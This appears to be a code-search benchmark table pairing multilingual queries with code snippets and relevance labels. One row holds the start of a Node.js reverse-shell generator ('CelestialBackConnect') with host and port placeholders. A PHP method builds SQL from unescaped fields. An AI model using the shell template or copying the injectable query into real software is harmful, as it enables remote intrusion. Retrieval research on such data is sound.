query_id string | corpus_id string | query string | code string | label int64 |
|---|---|---|---|---|
9f503655f4ddc44a2422a027454235e8 | 45fcd59748a73d31a7ccde97902e1c7e | Evento para inicializar a comboBox do subGrafo e alterar visibilidade. | {
bs1.DataSource = nos;
bs2.DataSource = nos;
bs3.DataSource = nos;
bs4.DataSource = arestas;
comboBox1.DisplayMember = "nome";
comboBox1.DataSource = bs1;
comboBox2.DisplayMember = "nome";
comboBox2.DataSource = bs2... | 0 |
d4b6e43a392d2f64a649043d94d9e954 | 6a971a952d22705e9750a68c49992b2d | 获取两个角的坐标 | namespace COM.TIGER.PGIS.WEBAPI.Dao
public class DBase:Base
protected void GetXY(double[] coords, out double x1, out double y1, out double x2, out double y2)
{
var xs = coords.Where((t, index) => index % 2 == 0);
var ys = coords.Where((t, index) => index % 2 != 0);
x1 = x... | 0 |
d9ac0f5af1469c3769ee5f594f883e2f | 39ce485ad412dccf9be14f09e1633a77 | Show performance timetables | $t0 = self::$timing_instance->timing_data['started'];
$events = self::$timing_instance->timing_data['events'];
$html = <<<EOF
<table border='1'>
<tr>
<th>Event</th>
<th>Duration</th>
<th>Started</th>
</th>
EOF;
foreach($events as $i => $evt){
... | 1 |
1aebbe5e98c57d537e5145fc1c2e7cba | 45c118b03448a042de149e7e1cd8516b | 获取已上架商品product 最高网店价和最低网店价 | class ProductController extends Controller
public function _productPrice($product,$info_meta){
foreach($product as $key => $item){
$max=-1;
$min=-1;
foreach($info_meta as $value)
{
if($item['info_id']==$value['info_id'])
{
... | 1 |
acb2d212b19c29b41d2d3ad8ba721538 | 364e3d7900a5fba60de0e54b5a2d44bd | 转订单状态为“等待发货” | namespace ERP.Service.Contract
public class Instance
public static Boolean SetGoodsOrderStateToWaitOutbound(List<String> orderNos)
{
using (var client = ClientFactory.CreateClient())
{
return client.Instance.SetGoodsOrderStateToWaitOutbound(orderNos);
}
... | 1 |
b88e0856e402276d9199bec07478faf6 | 934a7de8ed144eec64edbdd0a65c8162 | Mark upper checker as a king | public class PieceLogic
public void KingMe()
{
_king = true;
} | 1 |
527682469ab3f98a11bfb949b7f7d82f | eeca40da9e5646045523f1cc565c822d | 简单随机抽样:使用DataFrame自带的简单随机抽样 | def sample_row(full_df):
return full_df.sample(n=1,axis='rows',replace=True) | 1 |
7159247eb71b09f24a68b2d3174655f4 | 90b37487017f6a758f6cd6483c409b5d | Convert the argument to --device= to its internal format. | def convert_arg(arg):
raise NotImplementedError() | 0 |
0ed68bc1f51500cffcd3f4c9b06f6a88 | 5852eab0184d19ad091b184c6aa52b32 | <Snippet_FlowDocumentPadding> | {
Paragraph myParagraph = new Paragraph();
myParagraph.Foreground = Brushes.Black;
myParagraph.Inlines.Add(new Run(this.GetDate() + _text));
myFlowDoc.Blocks.Add(myParagraph);
} | 0 |
e1984fa230aabf70f55b1b9ffe79b741 | a6024825da4d6911f2ad43fe52caacd2 | Gets the set of entities that are declared as super-classes for this entity. | PsiClassType @NotNull [] getSuperTypes(); | 1 |
31a58069b28ebe08370289657561a682 | e44ca308f22d52cc5e5c1cd0a9c58f52 | Method to Update a Assignment in the database. | class assignment
function update($id) {
$sql = " UPDATE assignment SET meetingID = '$this->meetingID',personId = '$this->personId', assignmentTypeId = '$this->assignmentTypeId' WHERE ID = $id ";
$result = $this->database->query($sql);
} | 1 |
7d1480b88d3afae88a0ffe109f6dc375 | 9d6ad15296c6b02528a7e90398afef60 | 隐藏车牌键盘 | def hid_1():
l_speed.place_forget()
l_distance.place_forget()
l_sim.place_forget()
l_speed_num.place_forget()
l_kn.place_forget()
l_distance_num.place_forget()
l_nm.place_forget() | 0 |
6930d8460db356575f6c320b31c17d75 | 7f61448ad6da3ef0f9cb03f40c5be655 | Prefetching | cases like (1) | 0 |
a73b2922e68f3e7029e8d74dda8c6737 | 70842e72e599e370f90e21e87224213f | 增加现金调入列表 | @Service
@Transactional
public class MoneyinlistServiceImpl implements MoneyinlistService{
@Override
public void insertMoneyinlists(Moneyinlist moneyinlist) {
md.insertMoneyinlist(moneyinlist);
} | 1 |
874dd38c09d6e16f7ddc494e4ab86df1 | 5372cea2c773d0cf5e48db0779975dbb | Determines if the 3rd party Members plugin is active. | $active_plugins = (array) get_option( 'active_plugins', array() );
if ( is_multisite() ) {
$active_plugins = array_merge( $active_plugins, get_site_option( 'active_sitewide_plugins', array() ) );
}
return in_array( 'woocommerce-subscriptions/woocommerce-subscriptions.php', $active_plugins ) || array_key_exis... | 0 |
d6acba5b1874712d2b9f29a7c86ff73d | c09ce86be06350e8f8e615c11a473bde | Обновить эксперимент | $Experiment = $this->getExperimentInstance();
if ($this->get('enabled')) {
$Experiment->setIsEnabled();
} else {
$Experiment->setIsDisabled();
}
$userIds = [];
if ($this->get('forcedUserIds')) {
$invalidUserIds = [];
$splitU... | 1 |
c960de911973dfdb72d36400384691c3 | 479e9c9c8527a13aeb9e41d703fff8b7 | 用户主页
eg: /u/catroll | def index_(request):
u = current_user(request)
log('uuu',u)
if u is None:
username = '游客'
else:
username = u.username
body = template('index.html', username=username)
return http_response(body) | 0 |
6f033e114bf8d57a5f563885544bc0e1 | 6ea79a5bccb406075ca0df111d582079 | Aggregation query with different grouping sets, should not
do materialization. | grouping_attribute = "function"
default_metric = "sum(sum#time.duration),inclusive_sum(sum#time.duration)"
query = "select function,%s group by %s format json-split" % (
default_metric,
grouping_attribute,
)
gf = GraphFrame.from_caliper(str(lulesh_caliper_cali), query)
assert len... | 0 |
182778decf28eb3b433e13d1aa9764b4 | 7c85730d11d94fdc41d160cdd8e834ee | Filter the query by a related Direction object | if (!isString(key) || !isString(objectId)) {
error(400);
}
this.queryReilation.where = {
$relatedTo: {
object: {
__type: 'Pointer',
className: this.tableName,
objectId: objectId,
},
key: key,
},
};
} | 1 |
4d7a171606671de358a09db6324d2fd2 | fe3933f9c68bdb5392bc81c5c7e5bf8e | 4. Сортировка по убыванию | {
unsigned int per = 0;
for (int j = 0; j < col; j++)
{
for (int g = 0; g < col - 1; g++)
{
if (mas[g] > mas[g + 1])
{
per = mas[g];
mas[g] = mas[g + 1];
mas[g + 1] = per;
}
}
}
} | 0 |
199ba315485925f1b757e1fd4002c74c | e0792931ab8a989849eb737f5940a552 | Creates a data type from a protobuf object. | class Kwargs:
def decode(cls, kwargs_protobuf_object: Any) -> "Kwargs":
kwargs = DictProtobufStructSerializer.decode(kwargs_protobuf_object.kwargs)
return cls(kwargs) | 1 |
5601156738b53c2b87b9feba81bfd263 | 3147e5f6b6693ebd253ee7921b91f4d3 | obradi prihvaćanje/odbijanje studenta | {
if (!$this->_request->isPost()) $this->_redirect($this->baseLink);
$this->view->clearVars();
$this->view->baseLink=$this->baseLink;
$this->view->baseUrl = $this->_request->getBaseUrl();
$this->view->iconpath= $this->view->baseUrl."/"."public"."/"."images"."/";
$this->view->currentController = $this->_req... | 1 |
483501e497192944026ab9571c7e93cb | 716810715b918dd304db4d738e9b792c | Verify traversal is depth-first and pre-order. | class Test(unittest.TestCase):
def test_preorder_traversal(self):
expected_traversal_1 = [10, 7, 6, 1, 8, 9, 11, 20, 14, 22]
expected_traversal_2 = [20, 10, -3.14, 12, 65, 43, 256]
self.assertEqual(self.bst_1.preorder_traversal(), expected_traversal_1)
self.assertEqual(self.bst_2.preorde... | 1 |
05c0c254c3fb329c28e1406f064baecc | 4a8ac6c9fc000ec7c8fe9a8b3de494dc | Executes the given Action the on main thread of Unity. | namespace BuildIt
Task RunOnUIThreadAsync(Func<Task> action); | 1 |
f208727369d994c692c79acf8a1aafd0 | 974ce24117fcbf866760107bb98179e1 | 一对多表新增 | public void testone_to_more() {
Session session = HibernateUtils.getCurrentSession();
Transaction transaction = session.beginTransaction();
Customer customer = new Customer();
customer.setCust_name("第一");
Linkman linkman1 = new Linkman();
linkman1.setLkm_name("熊二");
... | 1 |
fa7b7050147e91b8a2bab39ec39b0b0b | 37737ce17c1b0b2f47b63aa6f250fc6b | Get the friendly name for this email notification. | class DDefaultMailServer extends DMailServer
public static function getDisplayName() {} | 1 |
ccdf31911deec8663fc0bea2289f4469 | 6e8bcf0bf2c25044fd6fef7c4a599a3e | For each item in A, returns the index of the first coincident item in B. If no coincident item is found, -1 is returned. | namespace zCode.zData
public static class DataUtil
public static IEnumerable<int> GetFirstCoincident<T>(IReadOnlyList<T> itemsA, IReadOnlyList<T> itemsB, Func<T, Vec3d> getPosition, HashGrid3d<int> grid = null, double tolerance = zMath.ZeroTolerance)
{
return GetFirstCoincident(itemsA, getPositi... | 0 |
a21bf93d2aca3309b179b7beb2152342 | 1464579c76925c0e3b077146a6761659 | Generate the bf shell required to extract ports and mac addresses | class CelestialBackConnect:
def generate_shellcode(self):
shell_skeleton = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.cont... | 0 |
11760f4c1890b1a83544edbc6f1a3371 | ee29cd243523125437f3a1b520c9acff | 三不同号胆拖 | class games_k3
public function bet_3bth_bzxh(& $bet = array(), $settlement = false)
{
$balls = get_balls($bet['contents'], $this->config_balls['base']);
if ($balls == false) {
return false;
}
$n = count($balls[0]);
$c = C($n, 3);
$price_sum = round($bet['... | 1 |
a611ff91ffb47247421405421ee9f9d8 | dafa3c61dc5efa63453c7d35a47e9a42 | md5 function using cli | func main() {
runtime.GOMAXPROCS(runtime.NumCPU())
if len(os.Args) != 2 {
fmt.Printf("Path needed\n")
os.Exit(1)
}
m, err := MD5All(os.Args[1])
if err != nil {
fmt.Println(err)
return
}
var paths []string
for path := range m {
paths = append(paths, path)
}
sort.Strings(paths)
for _, path := range... | 0 |
6e938ff2b3144287eacf6c18481a0a34 | 4f75c5e1708c73eced25e9db0fe88a97 | find an item with a specified
pszText
startIndex where to start the search
non-negative index of found item
negative error
Under os/2 the search is case-sensitive | int StringFind( const TCHAR* text, const TCHAR* substr, int start )
{
dbg( _T( "StringFind2: text=%08x, substr=%08x, start=%d" ), text, substr, start );
dbg( _T( "text='%s', substr='%s'" ), text, substr );
int res = -1;
if( text && substr &&
start >= 0 && start < my_strlen( text )
)
{
TCHAR* p = _tcsstr( ( TC... | 1 |
1eb8b052d4bd5225de1b9f7753e371d0 | fd0ed0eb2ed9fdd51477487c5d2cd7e9 | Compute the uncertainty weighted density given the data point. | if PryGw is None:
return 1.0
Nx = [i for i in range(self.pal.get_num_unlabeled()) if npla.norm(self.pal.get_unlabeled(i) - self.pal.get_unlabeled(dataPointIndex)) < self.tUWD]
return sum([np.exp(-pow(npla.norm(self.pal.get_unlabeled(dataPointIndex) - self.pal.get_unlabeled(xk)), 2)) ... | 1 |
3639da89ffd4adf4815a3f449d47208a | 2d48c3d3b2c5aa9e8d4b2ea1e1c895e7 | static function for interpolation between two Unity Colors through normalized colorspace | local endcolor
if color1 < color2 then
endcolor=((color2 - color1) * (value/valuemax)) + color1
else
endcolor=((color1 - color2) * (1 - (value/valuemax))) + color2
end
return math.ceil(endcolor)
end | 0 |
015828203f813e697248c2c5c234c53b | 39aa6ab9a60d937683130f066a2ffe23 | Sanitizes column names and prepends custom strings to column names | $db = JFactory::getDbo();
foreach ($cols as &$col) {
$col = $db->quoteName($col);
}
return $cols;
} | 0 |
965b660f70317c8393f718f097aa2d23 | 45112d8ad1931b9ee57a7da71bacc1a6 | Reads in all the images in a directory and saves them to an .npy file. | img_num = len(path_list)
for i in range(img_num):
if not os.path.exists(path_list[i]):
print(path_list[i])
raise IOError
read_storage = np.zeros((img_num, im_h, im_w, 1), dtype=np.uint8)
if img_num == 1:
read_img(path_list[0], read_storage[0])
else:
fu... | 0 |
c82261881b0c81daf6e6fd21251b9888 | 44baa6d94511abbe7794f424a88b7bb9 | カート内商品の最大要素番号を取得する。 | $count = array();
foreach ($this->cartSession[$productTypeId] as $key => $value) {
$count[] = $this->cartSession[$productTypeId][$key]['cart_no'];
}
return max($count) + 1;
} | 1 |
5e687c10b762fc77c52a9147c841d655 | 2229eee6c9eec338a4912ed631f4149a | Retrieves the top 10 trending topics for a given location,
identified by its "Where on Earth" (WOE) ID.
This includes hashtagged topics.
<para/>
See http://developer.yahoo.com/geo/geoplanet/ for more information on WOE. | namespace Spring.Social.Twitter.Api
RestOperationCanceler GetLocalTrendsAsync(long whereOnEarthId, bool excludeHashtags, Action<RestOperationCompletedEventArgs<Trends>> operationCompleted); | 0 |
537ca8f405669cc6d2c9f183d154a0a6 | 96bd4f30b9e0c90bed1d26094a37dd91 | Calculates the sum of all the scores in all the levels | let sum = 0;
const char = levelledSkills[this.selectedChar];
for (const tree in char) {
if (char.hasOwnProperty(tree)) {
for (const skill in char[tree]) {
if (char[tree].hasOwnProperty(skill)) {
sum += char[tree][skill]['rank'];
}
}
}
}
con... | 1 |
2dde1b8c50e1fe37392e97c8e3b4b054 | c949fb77b79d07f097ad94400da3847b | Loads Google Cloud Storage CSV file into a BigQuery table. | try:
gcs_csv_uri = f"gs://{GCP_BUCKET_NAME}/{remote_csv_path}"
job_config = LoadJobConfig(
autodetect=True,
skip_leading_rows=1,
source_format=SourceFormat.CSV,
)
load_job = gbq.load_table_from_uri(
gcs_csv_uri, full_table_id, job_confi... | 1 |
503f217f28cb36497d2997ff2bd6723f | a75b4e5992213761d116cf5c1a4adccc | Returns the convex hull vertices computed using
a third algorithm --> Using monotone chain | ch = []
start_point = get_start_point(points)
edge_point = start_point
while True:
ch.append(edge_point)
next_point = points[0]
for i in range(1, len(points)):
target_point = points[i]
if next_point == edge_point:
next_point = target_point
... | 0 |
5bb3ee0518a5fb01d6e459ed4fcafb40 | 194f3750bf16249d6f843262476b4592 | Gets query for [[Syllabi]]. | {
#region Declarations
Guid Key = Guid.Empty;
IDbConnection Connection = (Context.Connection as EntityConnection).StoreConnection;
if (Connection.State != ConnectionState.Open)
{
Connection.Open();
}
#endregion
... | 1 |
90c35314353883e038d62dd6ba62ce39 | ec06f2b132fb6b281b35af5e5acaf778 | Makes sure the log file exists and return its location | namespace Spacebuilder.Setup
public class SetupController : Controller
private string GetLogFileName()
{
string currentDirectory = WebUtility.GetPhysicalFilePath("~/Uploads");
return currentDirectory + "\\install.log";
} | 0 |
2fa436224cc1c021fcb8bdae7a7254eb | dc96ee2d5155d62720e72c5c18ee21cd | Gets the next atom (small or large and latin-1 or utf-8). | public abstract class AminoAcid extends Group implements StandardAminoAcidIndicator
public Optional<AminoAcid> getNextAminoAcid() {
return getAminoAcidWithOffset(1);
} | 0 |
fe861daec7d64940601d182a9e6ea5ac | b04fd0b6c13e9c2c61b7650330fc1c5c | Handles the CheckedChanged event of the checkChooseFixedAsset control. | {
if (KeyValue != null)
{
_fixedAssetCategoryPresenter.Display(KeyValue);
}
else
{
if (CurrentNode != null)
{
txtFixedAssetCategoryCode.Text = ((FixedAssetCategoryModel)CurrentNode).Fi... | 0 |
c830699ade936bf9de347549da0ecc05 | dd0738c34b10c7a5527850ae119064ed | Take item, and filter the comment queryset by parent comments. | class CommentsList(SingleObjectMixin, ListView):
def get_queryset(self):
return self.object.comments_set | 0 |
4ce970fac3661d2ff1310dfef114ff26 | e20aa589bdd6eb7e91ee729db5389937 | Shows Page for booking a specific service | class BookingViewController extends Controller
public function show($id)
{
$stylist_id = $this->getLoggedinStylistId();
$booking = Booking::with('customer')
->with('treatment')
->findOrFail($id);
[$date, $time] = explode(" ",$booking->start_at)... | 0 |
500efb8d52c469783ae9655f2d3f14a2 | 6f13efd430620971499c9ea540746cf5 | Sets whether existing read-only files should be overwritten. | void setOverwrite(boolean shouldOverwrite); | 1 |
50df37bf0708a575a12a5352bd76669f | c5106ae297022b10e615c49be560f39c | function to un-normalize an image, expected tensor with shape (Ch, H, W) | def unmold_image_b(normalized_images, config):
return (normalized_images * 255.0).astype(np.uint8) | 1 |
c32258c8fa1f3d7bc4f175cf9edc6af0 | 543ce83cfff4f8b21f46caa8bd23b08e | BCD Int转单字节Byte | uint8_t RTC_Bcd2ToByte(uint8_t Value){
uint8_t tmp = 0;
tmp = ((uint8_t)(Value & (uint8_t)0xF0) >> 0x4) * 10;
return (tmp + (Value & 0x0F));
} | 1 |
c00403031c3e4b7e5424708a34fda68f | 5fb83aa1bd04b711b5e819a4aa2f6bbd | 设置图片信息数据缓存 | {
JsonResponseModel<UpdateImageCacheResponse> rsp = null;
try
{
var strResp = await this.InternalRequest(req, "UpdateImageCache");
rsp = JsonConvert.DeserializeObject<JsonResponseModel<UpdateImageCacheResponse>>(strResp);
}
... | 1 |
1e019a7840491aba63b6eefeb6b96c41 | 710eb3262e1a4014c7c5b92d1736cdeb | +--------------------------------
clipsinfo layer 订单视频列表页
+-------------------------------- | $P_ID=$_GET['id'];
if($_GET['status']==='0'){
$OrderClipRel=M('ordercliprel');
$O_ID=$_GET['O_ID'];
$clips=$OrderClipRel
->where("O_ID=$O_ID")
->join("left join t_clips on t_clips.C_ID=t_ordercliprel.C_ID")
->select();
}els... | 1 |
984c16ad1ec599e48417ccb3ee2ec4e8 | 87904f318fd8aaeb42be9c94af578c9f | Get all timesheets by the specified employeeId | class PayrollAuApi
def get_timesheets(xero_tenant_id, opts = {})
data, _status_code, _headers = get_timesheets_with_http_info(xero_tenant_id, opts)
data
end | 0 |
0cc21ba377be0cd52dbd3b56530ade2d | a34d1ddf16355b198d6f43d052e06eb4 | Set the number of used BDD variables. It can be called more than one time, but only to increase
the number of variables.
<p>Compare to bdd_setvarnum. | public abstract class BDDFactory
public abstract int setVarNum(int num); | 1 |
dedc4fd7fcbd5346ce688ad727af5d27 | 6190d8ac7c7707ddf978b4e737762e03 | Retorna o numero de livros existentes na BD | $controller = $this->getController();
$sql = "SELECT id FROM book ;";
$result = $controller->numRows($sql);
return $result;
} | 1 |
01bd38b0610db2e6f46effd786c07a88 | 37361397f2d860f1aa2bc4e1e5214173 | 清理合伙人业务统计明细表(当前统计周期和区域等级) | String distId,List<Object> distIdList,
int subLevel, int compDep,List<Object> subLevels,List<Object> compDeps,
String departmentId,List<Object> departmentIdList,
Integer statMode); | 0 |
7abd2beb2b1b9a4f48cfaffd7f1ed785 | b2372540230cfcc25b4a60fe99281d18 | Get a specific MemberHistory object by its unique identifier... | function civicrm_api3_membership_history_delete($params) {
return _civicrm_api3_basic_delete(_civicrm_api3_get_BAO(__FUNCTION__), $params);
} | 0 |
5b27e91e38c1fece89b2e0185e0c5d34 | 7c640ad182693da8027361ad42a9e6fa | Returns undefined because no override for now. | async getUndefined () {
return undefined
} | 1 |
59a57bc47de22185bb41cf373524298d | f28ff3d942c53cb3e480bc4491d6b4e4 | Display the error screen with a custom message, and with the option to hide the retry button. | void displayRetryDialog(); | 0 |
b8a30e9619e2a10d34022aae0926232a | f16a8cb19bdf9ee98de8c99d5299c164 | define a function to convert RA hours into degrees | class Celestial:
def __ra2real(self, hrs, mins):
return 15 * (hrs + mins / 60) | 1 |
a4ae5d69949bbfd1e5f4ecada95bc6db | e95274c428ddea828b5a5aa920b5ca53 | set selected license for the current upload | Update withLicenseType(String licenseType); | 1 |
8409d0b66b5ec198e7c0eee7443c3160 | 660f4f1fedd8363bc8a7d393398bc9a1 | Returns whether or not the selection signals are \
currently being blocked. | class SgQueryEngine(object):
def isBlocking(self):
return self.__block._is_owned() | 1 |
b14dcc12a3bdfbcc697033fbb889a868 | a2bbceeb082230701dfbc6cd07766a1b | Returns the WebKit version if the browser is WebKit based. The WebKit
version returned is the major version e.g., 523. | class CapabilitiesImpl implements Capabilities
@Override
public String getBrowserMajorVersion() {
return myBrowserMajorVersion;
} | 0 |
9eefdd34da1d85288ace54736041574d | a5095aae53e6fc6c5d971876f470477c | Worst Fit Algorithm | function worstFit(pcb) {
let index = -1;
let count = 0;
let detail = null;
for (var i = 0; i < memory.length; i++) {
if (memory[i] == 0) {
if (index == -1) {
index = i;
}
count++;
} else {
if (count >= pcb.memory_size) {
if (detail == null) {
detail = createTempMemory(index... | 1 |
b9dc2cf5f43ef349dc6be14c9eb51e3d | fe8f675e288111882d9d824bacf15dc7 | Convertion d'une instance de requête en requête HTTP Psr-7 | {
$request = new self();
$request->initialize(
(new Query($psr->getQueryParams()))->setQuery($psr->getUri()->getQuery()),
new Bag((array)($psr->getParsedBody() ?? [])),
(new Cookie(
$config ? $config->getCookieConfigs() : [],
$confi... | 0 |
885fd4fc397854cd6ba8bc8bd9a3d7a7 | 9e48351cff6f9de95c7ba62a5b60399e | Whether this request can be granted with a "send-money" donation. | class User
def can_send_request?
!self.suspended? and self.is_paid? and self.is_still_paid? and self.is_available?
end | 0 |
54d2fd4f87c213a1ecdbbd0b1b5e9f4a | 798a2c2b38d6c7cb3535d68cd02c4c2e | 获取分类id及所有子分类id | $array = [];
$data = self::getCategory(['parent_id' => $id]);
if ($data) {
foreach ($data as $v) {
$array[] = $v['c_id'];
$sub = self::getSub($v['c_id']);
foreach ($sub as $vv) {
$array[] = $vv;
}
... | 1 |
3647423251d8dd0b97c9f2e2eff134d3 | 51c148552cbc70f2d9606104fef267a1 | 获得所有队伍的信息 | function GetAllTeamsInfo()
{
if (this.m_teamInfo == null || this.m_teamInfo.length<=0)
return null;
var teamInfo = this.m_teamInfo[0].teams
if (teamInfo!=null && teamInfo.length >0)
{
var newTeamInfo = [];
var members = this.m_teamInfo[0].members
var toDayMD = timeUtil.GetTodayMD();
for(var i=0... | 1 |
d1a7eba8ee84d0fa04505d645f67271c | cc87e3ad00e738b39344aee771ccaade | Berechnet die Kampfstarke einer Flotte und zeigt sie an. | def artillery_check(troops_E, troops_F):
artillery_veryStrong_F = False
artillery_veryStrong_E = False
artillery_strong_F = False
artillery_strong_E = False
for einheit in troops_F:
typ = frankreich_df._get_value(einheit, "typ")
if "schwere" in typ.lower():
artillery_very... | 0 |
e6947266dbfe46e9d98c8036ccd93681 | 52d8a35c3187830f3f8e5b547c9a2190 | Retrieves the list of rooms in the hotel. | namespace HotelManagementSystem.Domain
IEnumerable<Room> RetrieveRoomList(); | 1 |
0285f7bcb975d5fcebf34bb3543ac5a0 | 12fd434233507bdd308dcacbddd52913 | Adds file type that need special handling | class File extends \ElggFile
protected function initializeAttributes() {
parent::initializeAttributes();
$this->attributes['subtype'] = self::SUBTYPE;
} | 1 |
f629b1bffe1cbc0d861eb708bf2e6ec7 | 62bf9db63d20c20da0a1f957bbe7c06f | 获取所有主机,可以指定组名id获取组下的所有主机 | hosts_id = models.HostsGroups.objects.filter(groupid=group_id)
if str(group_id) == "0":
hosts_id = self.get_all_hosts()
return hosts_id | 1 |
ab3c6e4923eed210cfaf1a8cb505f6a2 | 9dea071df9e722b2774f91cdd07eb1b5 | Sets the compiler debug level. | class HasDebugLevel(Tool):
def SetDebugLevel(debugLevel):
csbuild.currentPlan.SetValue("debugLevel", debugLevel) | 1 |
e4048c9c0b6149c2b38a0789afac15ff | a9f3f18b7a4a473a9db15fc56ce01f27 | Display selector widgets for certain dimensions.
This method returns an ipywidgets Box containing
the selector widgets. | if initial_value == '':
try:
initial_value = iris.sample_data_path('')
except ValueError:
initial_value = ''
self._path = ipywidgets.Text(
description='Path:',
value=initial_value,
width="100%")
self._pat... | 1 |
24d4dab274ddcf1ee4861e42972e8d06 | b64e1e813b2283c562025f23be09a951 | non-blocking | namespace baseline
namespace io
namespace net_tcp
void io_net_tcp::start()
{
socket_.non_blocking(true);
start_operations();
} | 1 |
45b1e2f98f185287da656f86cb15b513 | 2f5695400cfec52263e4edc6635d4e97 | 获取一次的曝光人次 | {
if (!empty($sid)) {
$result = self::query()->where('sid', '=', $sid)
->where('hitsTime', '=', date('Y-m-d'))
->alias('hitsCount', 'cnt')
->first();
}
return intval($result['cnt']);
} | 1 |
6fdba216ce96f9fa5ef979bdebe24451 | f03fa715ef4c6095ae9a8f2bf875b080 | Specifies an already-created instance to provide services for this definition. | namespace AutofacContrib.NSubstitute
public class AutoSubstituteBuilder
public AutoSubstituteBuilder Provide<TService>(TService instance, object serviceKey)
where TService : class
{
_builder.Register(_ => instance)
.Keyed<TService>(serviceKey)
.Instanc... | 1 |
959af95bbb76784ac394151b1ddc0bd0 | 72d651e3dff4fc3e7562dfb3e02570be | Calculates partial autocorrelation function features. | (x, m) = x
if m is None:
m = 1
nlags_ = max(m, 5)
pacfx = acf(x, nlags = nlags_, fft=False)
if len(x) > 5:
pacf_5 = np.sum(pacfx[:4]**2)
else:
pacf_5 = None
if len(x) > 6:
diff1_pacf_5 = np.sum(pacf(np.diff(x, n = 1), nlags = 5)**2)
else:
diff1_pac... | 1 |
08be5e0f8a2285d7a02f865ee6cc371e | b881e5cadba471a79cb227fab33217e1 | ユーザーに紐づく月ごとの交通費を取得する | int result = 0;
for (Card card : allCards.values()) {
result +=
card.getTrips()
.stream()
.filter(
t ->
t.getStart().getTimeStart().getMonth().getValue() == month
... | 0 |
9927c85706802b28cf8e65a3d9094f40 | ebd22497d3f541517309074389d5c144 | 根据镜头id判断所选人员是否已在轨迹分析列表中,返回相应的存在状态和所在数组的index序号 | local n = 0
if pid and self.plane[pid] then
for ak,av in pairs (self.plane[pid][2]) do
if av==eid then
n=1
return n
end
end
for ak,av in pairs (self.plane[pid][3]) do
if av==eid t... | 0 |
b84305283e6014f88e919b7cf75f68cc | 28c663532abaa08f68f953349593bf2f | Return the first of a contiguous sequence of unique
identifiers, at least until the system wraps around. | cnt = self.__seqcnt
seqno = next(cnt)
if seqno > 0xfffffff0:
with self.__lock:
if self.__seqcnt is cnt:
self.__seqcnt = itertools.count(start=0)
return seqno | 1 |
c4c0eae46f8e3488fd4431df9a4c22ae | ec5843d624acc8bb35a37c4600ce3b74 | =============================================
Funcion que permite eliminar de la BD los datos de la tabla ascensor_valores_elementos
============================================== | db.transaction(function (tx) {
var query = "DELETE FROM ascensor_valores_elementos WHERE k_codinspeccion=?";
tx.executeSql(query, [k_codinspeccion], function(tx, res) {
console.log("rowsAffected: " + res.rowsAffected + " -- should be 1");
},
function(tx, error) {
console.log('DELETE error:... | 1 |
8e1809dcded93a5185ae46a743d404b1 | 54ca18a890fbb9e726630bfc91c744d2 | making sure there are no leftovers | function makeFood(ID){
for (let key in recipeBook["ingredientCosts"]){
if (Number(document.getElementById(key).innerHTML) < recipeBook[ID][key]){
console.log("not enough of", key);
return;
}
}
for (let key in recipeBook["ingredientCosts"]){
document.getElementById(key).innerHTML = Number(d... | 0 |
72bd1ebc5e21099978286fe54bd3e908 | 0c277ccc219a1f86d8f5739dc63db5cd | 设置空间转换器 | def spaceSwitchSetup(drivers, driven, controller, cType, niceNames):
constraint = getattr(mc, cType)
cons = constraint(drivers, driven, mo=True)[0]
wal = constraint(cons, q=True, wal=True)
aTitle = {'parentConstraint':'SPACE', 'orientConstraint':'ALIGN', 'pointConstraint':'POS'}
mc.addAttr(controlle... | 1 |
d5f7f9898ad7efd87315f50cf8e02da5 | 16c58848d5f0f9b982afd07fd2c70cef | Sets response success string. | setSuccessResponseMessage(state, message) {
state.successResponseMessage = message;
} | 1 |
14f1a7e4c00e2e48ab707d5be9d6555a | c49a89de1c7682306a33dde717795759 | OP 16: PUSH SS | class CPU(object):
def opcode_0x14(self):
self.push_value(self.flags.b) | 0 |
7c2a49a97811296c6dd383e0b6ef9c19 | 5935b62852586c63673b372253485b99 | Read file via shell | output, err := framework.RunKubectl(namespace, "exec", fmt.Sprintf("--namespace=%s", namespace),
podName, "--", "/bin/sh", "-c", fmt.Sprintf("less %s", filePath))
gomega.Expect(err).NotTo(gomega.HaveOccurred())
return output
} | 1 |
3814d092b4e1b32ebfdc97cffc42d93c | d19f1f10991a8bbece0d43d98b254481 | Default method for shutting down an object | class XType(object):
def shut_down(self):
pass | 1 |
284832a32878a7a436b6242d13e591f9 | ac487bc9db06fa7a630130b9f6f35466 | POST: /Api/Migrations/BulkUpsertSubscriptionsTable | {
if (model.NotifySubscribers && !string.IsNullOrEmpty(model.ChangeLog))
{
Mapper.CreateMap<SubscriptionLogManageModel, SubscriptionLog>();
var subscriptionLog = Mapper.Map<SubscriptionLogManageModel, SubscriptionLog>(model);
var response =... | 0 |
556d93ea7f38e9b76cf0411cee9cce00 | fde4209fe9d5160d04e3bb6a2a803c87 | функция расширения хэш-таблицы | void extend(hashTable H)
{
int k = cal_k(H->tableSize);
H->tableSize = (1 << (k + 1)) - 1;
list* pre = H->thelists;
H->thelists = (list*)malloc(sizeof(list) * H->tableSize);
for (int i = 0; i < H->tableSize; i++)
{
H->thelists[i] = (struct ListNode*)malloc(sizeof(struct ListNode));
}... | 1 |
ed9ac1d5a2ba4ccba414948f8f86b546 | 983586deeb5aa69866bacc5ab7a603df | Определяет, стрелка ли была нажата,
и вызывает соответствующие методы подсветки
и листания карусели | class Carrousel
_slide() {
if (this.options.ts - this.options.prevTs > 300 && Math.abs(this.options.prevX - this.options.startX) < this.options.width / 3) return
if (this.options.endX === this.options.startX || Math.abs(this.options.endX - this.options.startX) < (20 * window.devicePixelRatio || 1)) return
i... | 0 |
54183d6110fb95c3f76926cc200cf235 | 1994e3c85f163ba79d30dc3f7376584e | Add main/sub classes to li's and links. | function add_classes_on_li($classes, $item, $args) {
$classes[] = 'dropdown yamm-fw tab-active';
return $classes;
} | 1 |
ae3dec6d941d5d4a3c85e4adafaf8756 | 728a4cc90a36e7a267fe7eb25c95c3d6 | Queues a Control Change Note Message. | class MIDI(object):
def ctrlChange(self, track, time, channel, ctrl, value):
time -= self.timeOffset
self.addEvent( track, time, [
'Ctrl', channel, ctrl, value
]) | 1 |
3baf526dfbd0e9a1c3443039da6495c2 | 6e8b9f11957da9c2c27d0edef1cbf7dd | Asserts that BotsCount is returned for the appropriate set of bots. | class AutoRole(MixinMeta):
async def _bots(self, ctx: commands.Context): | 0 |
d484ddfe556e26fd3be91c02c454f076 | a950280382d7966a8ea337232ee12403 | Setup default portal properties | APortal::APortal()
{
